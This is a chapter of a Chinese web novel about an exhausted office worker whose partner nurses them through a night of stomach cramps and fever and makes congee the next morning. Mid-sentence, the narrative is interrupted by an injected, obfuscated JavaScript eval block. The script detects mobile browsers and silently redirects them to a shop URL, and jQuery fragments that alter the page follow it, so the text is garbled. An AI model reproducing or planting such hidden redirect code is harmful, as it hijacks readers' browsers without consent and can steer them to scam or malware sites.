社畜是不敢生病的。


    尤其是周三。周三是承上启下的日子，前有未填完的坑，后有即将到来的周汇报。在这个节骨眼上，身体机能的任何一次罢工，都是对团队OKR的背叛，是对全勤奖的亵渎。


    所以，当凌晨三点，那一阵剧烈的绞痛像一只带刺的铁手狠狠攥住我的胃时，我的第一反应不是“我要死了”，而是——操，我的周报还没发。


    那是胃痉挛。老毛病了，大概是晚上那顿红烧肉太油腻，或者是这几天的焦虑终于找到了一个宣泄口。


    我蜷缩在被子里，冷汗瞬间就下来了。那种冷是从骨头缝里渗出来的，与此同时，体温却在飙升。我能感觉到自己的呼出的气都是烫的，像是在喷火。


    卧室里黑漆漆的，只有加湿器那点微弱的蓝光。


    我咬着牙，不想发出声音。许漫睡眠浅，明天她还要早起监考，高三的模考，很重要。我不能吵醒她。


    我试图调整呼吸，像平时忍受甲方的无理要求一样忍受这种疼痛。我告诉自己：忍一忍，等这阵劲儿过了就好了，林知，你是个成熟的社畜，你不能因为肚子疼就哼哼唧唧。


    但我高估了自己。


    又一阵痉挛袭来，我没忍住，在喉咙深处发出了一声类似濒死动物的呜咽。身体不受控制地抽搐了一下，膝盖重重地磕在了床板上。


    “咚”的一声。


    身边的呼吸声立刻变了。


    许漫醒了。她没有立刻说话，而是像那种雷达被激活了一样，瞬间从沉睡切换到了警觉状态。


    “林知？”她的声音带着刚睡醒的沙哑，还有一丝慌乱。


    “没……没事。”我从牙缝里挤出几个字，整个人缩成一只虾米，“就是……胃有点……疼。”


    “啪”的一声，床头灯亮了。


    突如其来的光线刺得我流出了生理性的眼泪。我眯着眼，看见许漫已经坐了起来。她头发乱糟糟的，眼神却清明得可怕。她没有废话，直接伸手探向我的额头。


    她的手心很凉，贴在我滚烫的皮肤上，舒服得我差点叹息出声。


    “发烧了。”她皱着眉，语气严厉得像是在教训没交作业的学生，“身上全是汗。胃疼？”


    “嗯……绞着疼。”


    许漫立刻掀开被子下床。


    我听见她在客厅里走路的声音，听见翻找药箱的声音，听见烧水壶底座磕在大理石台面上的声音。这些细碎的声响，在深夜里被无限放大，像是一首关于救赎的安魂曲。


    不一会儿，她进来了。手里端着一杯温水，掌心里躺着两片白色的药片，腋下还夹着一根水银体温计。


    “起来，把药吃了。”她把枕头竖起来，扶着我坐起来。


    我浑身没劲，软得像滩烂泥，大半个身子的重量都压在她身上。她穿着那件单薄的睡衣，身上带着被窝里带出来的暖意，还有那股熟悉的、让我心安的奶香味。


    我就着她的手喝了水，吞了药。水温刚刚好，不烫嘴，顺着食管流下去，稍微缓解了胃里的抽搐。


    “夹好。”她把体温计塞进我的腋下，冰凉的玻璃管激得我哆嗦了一下。


    “漫漫……”我靠在她怀里，脑子因为发烧而变得混沌，平时那些理智的防线全塌了，“我难受。”


    “我知道。”她一只手搂着我，另一只手轻轻拍着我的后背，一下，一下，节奏平稳，“吃了药一会就好了。”


    “我不想去上班了……”我像个耍赖的孩子，把鼻涕眼泪都蹭在她那件干净的睡衣上，“那个傻逼项目……我不想干了……我想辞职……”


    这是我平时绝对不敢说的话。房贷、车贷、即将到来的续约期，哪一个不是悬在头顶的达摩克利斯之剑？但在这一刻，在39度的迷离高烧里，我只想当个逃兵。


    许漫拍着我背的手顿了一下，然后更用力地抱紧了我。


    “好，不干了。”她在我也耳边轻声说，语气温柔得像是在哄骗，“明天就去辞职。大不了我养你。我工资虽然不高，但养只猪还是够的。”


    我们都知道这是假话。


    她的工资刚够还房贷，我的工资负责生活开销。如果我辞职，我们要么卖房，要么喝西北风。


    但这句假话，在这个狼狈的深夜，比任何真理都管用。它给了我一种虚幻的底气，让我觉得就算天塌下来，至少还有个人愿意在那一刻替我顶一下。


    “39度2。”许漫拿出体温计看了一眼，眉头锁得更紧了，“我去拿退热贴。”


    那天后半夜，我一直在发汗。


    许漫没怎么睡。她关了灯，但我能感觉到她一直醒着。


    每隔一会儿，她就会摸摸我的额头，或者帮我掖一下被我踢开的被角。


    黑暗中，感官被无限放大。我能闻到空气里那种因为发烧而特有的、略带酸味的汗气，还有药箱里拿出来的酒精棉球的刺鼻味道。


    但我闻得最多的，还是许漫身上的味道。


    后来大概是药效上来了，胃不那么疼了，人也开始迷糊。


    我翻了个身，背对着她，把自己蜷缩进她的怀里。这是我们冬天最喜欢的姿势——汤勺式拥抱。


    她的胸口贴着我的后背，她的膝盖顶着我的腿弯。


    “漫漫，”我在黑暗中含糊不清地叫她，“你睡了吗？”


    “没。”她的声音就在我耳后，呼吸喷在我的脖颈上，痒痒的。


    “我是不是把你吵醒了……明天你还要监考……”愧疚感像潮水一样涌上来。


    “闭嘴，睡觉。”她收紧了手臂，把我勒得更紧了一些，像是在固定一件易碎的瓷器，“你要是真觉得愧疚，明天就好起来。”


    她的体温源源不断地传过来。


    那种热度，不是高烧那种病态的燥热


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088267|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，而是一种恒定的、温吞的、充满生命力的暖。


    那一刻，我突然想起以前看过的一句话：人这一辈子，其实就是在一张床上烂掉的过程。


    听起来很绝望，是吧？


    但此时此刻，我觉得如果能跟身后这个人一起烂在这张床上，烂在这个不足两米宽的避难所里，好像也没什么可怕的。


    不管是35岁的危机，还是40岁的衰老，亦或是不知道哪天会降临的死亡。只要这具体温还在，我就还能苟延残喘。


    第二天早上，我是被一阵香气唤醒的。


    那是大米粥的味道，清淡，却有着一种让人起死回生的魔力。


    我睁开眼，窗帘缝隙里透进来惨白的天光。烧退了，身体轻飘飘的，像被掏空了一样，但那种令人绝望的疼痛消失了。


    许漫不在床上。


    我披上衣服走出卧室。


    许漫正在厨房里盛粥。她没换衣服，还穿着那件被我蹭脏了的睡衣。听到动静，她回过头。


    那一瞬间，我看到了她眼底两片明显的青黑，脸色也有些发黄，看起来比我还像个病人。


    “醒了？”她把粥放在桌上，还有一碟切得细细的咸菜丝，“感觉怎么样？”


    “好多了。”我走过去，看着那碗熬得出了米油的白粥，喉咙发紧。


    “帮你请过假了。”许漫淡淡地说，“我说你急性肠胃炎，要去吊水。你们领导准了。”


    “……啊？”我愣住了，“可是……”


    “可是个屁。”许漫把勺子塞进我手里，“吃了饭滚回床上去睡觉。你要是敢碰电脑一下，我就把你电脑砸了。”


    她看了一眼墙上的挂钟，匆忙抓起桌上的豆浆吸了一口：“我得走了，监考要迟到了。药在桌上，记得吃。”


    她风风火火地换鞋，穿大衣。


    走到门口，她突然停住了，回头看了我一眼。


    那个眼神，我也许一辈子都忘不掉。


    疲惫，焦急，甚至带着点因为睡眠不足而产生的戾气。但在那层戾气底下，是一种深沉的、把我也算作她生命一部分的牵挂。


    “林知。”她说，“你在家乖一点。等我回来。”


    门“咔哒”一声关上了。


    屋里重新恢复了安静。


    我坐在桌前，喝了一口白粥。米粒早就烂了，入口即化，顺着喉咙流进那颗刚受过难的胃里，暖洋洋的。


    我看着对面空荡荡的椅子，看着窗外那个灰蒙蒙的早晨。


    我想，这就是相依为命吧。


    不是什么山盟海誓，而是当你病得像条狗一样的时候，有人愿意忍着困意照顾你一夜，然后在第二天顶着黑眼圈去面对那个操蛋的世界，只为了给你熬一碗粥，给你留一盏灯。


    我吸了吸鼻子，把眼泪憋回去。


    这粥真好喝。


    真他妈好喝。